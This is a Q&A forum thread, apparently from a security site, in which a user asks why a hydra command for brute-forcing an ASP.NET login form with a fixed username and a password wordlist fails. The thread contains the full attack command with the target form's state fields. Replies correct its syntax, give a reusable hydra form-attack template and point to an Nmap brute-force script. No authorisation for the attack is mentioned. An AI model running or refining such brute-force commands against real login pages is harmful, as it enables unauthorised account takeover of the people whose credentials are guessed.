1

I'm try to do brute force attack on a system and I have complete word list of the possible passwords because they use a really simple format but when I tried hydra with the following post responses, it gave me a error saying that

Hydra (http://www.thc.org/thc-hydra) starting at 2016-01-19 22:02:39 [ERROR] Wrong syntax, requires three arguments separated by a colon which may not be null: /Connect/Login.aspx

Any ideas how to fix this?

hydra -l A23432 -P wordlist_1.txt -s 80 -V 0.0.0.0 http-post-form "/Connect/Login.aspx:__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTA5MTEzOTQwNA9kFgJmD2QWAgIDD2QWDAIBD2QWAgITDw8WAh4HVmlzaWJsZWhkZAIFDxYCHgRUZXh0BTJDb3B5cmlnaHQgMjAwOSBIb3VzdG9uIEluZGVwZW5kZW50IFNjaG9vbCBEaXN0cmljdGQCDQ8PFgIeC1Bvc3RCYWNrVXJsBSVodHRwOi8vd3d3LmhvdXN0b25pc2Qub3JnL2RvbWFpbi83ODg4ZGQCDw8PFgIfAgUlaHR0cDovL3d3dy5ob3VzdG9uaXNkLm9yZy9kb21haW4vNzg5NGRkAhEPDxYCHwIFJWh0dHA6Ly93d3cuaG91c3RvbmlzZC5vcmcvZG9tYWluLzc4OTVkZAIVDw8WAh4LTmF2aWdhdGVVcmwFMi4uXEhlbHBcT0NSIC0gUFNDIEhlbHAgR3VpZGUgLSBFbmdsaXNoIFZlcnNpb24ucGRmZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFC2N0bDAwJGltZ0RM1KNKEt%2BzLZA8Z%2BnkUqZ3%2BrVNgP4%3D&__VIEWSTATEGENERATOR=125EDFF6&__PREVIOUSPAGE=eic2obM9HsJVGXjCuBkW_BCXDoR6wcOVTcJrExElqVWm-b3vnFcneVi-Yc52SWRk3vuSeeDAj6xlnRF9h5rqjDrO5hURRKbSQ_cRyvIHbRX7ss3b0&__EVENTVALIDATION=%2FwEWCQLqlo7JBQKVjO6OBwLzw%2BOgBQLA%2FraSCQKd2bA2ApyI9v8JAv2ao%2BgDAqebmbQDAujk6qkJVYCk1DwUcL4617gtTeSpx0D105E%3D&ctl00%24ContentArea%24txtUserName=^USER^&ctl00%24ContentArea%24txtPassword=^PASS^&ctl00%24ContentArea%24btnLogin=Login:Invalid password

Improve this question
1
  • Not an answer to your question, but have you tried the latest http-form-brute NSE script with Nmap? In Nmap 7.10 and later, it has good support for form autodetection, cookies, and CSRF tokens.
    – bonsaiviking
    Commented Jun 4, 2016 at 2:27

1 Answer 1

Reset to default
2

You need to supply the correct syntax. Here is an example:

hydra [TARGETIP] http-form-post "/TARGETPATH/TARGETPAGE.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt
  • 1st field (before the 1st colon) = location of the target page
  • 2nd field (before the 2nd colon) = user & password parameters
  • 3rd field (after the 2nd colon) = page response on incorrect login attempt
Improve this answer
1
  • But how can I add cookies?
    – user3501673
    Commented Jan 20, 2016 at 23:05

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .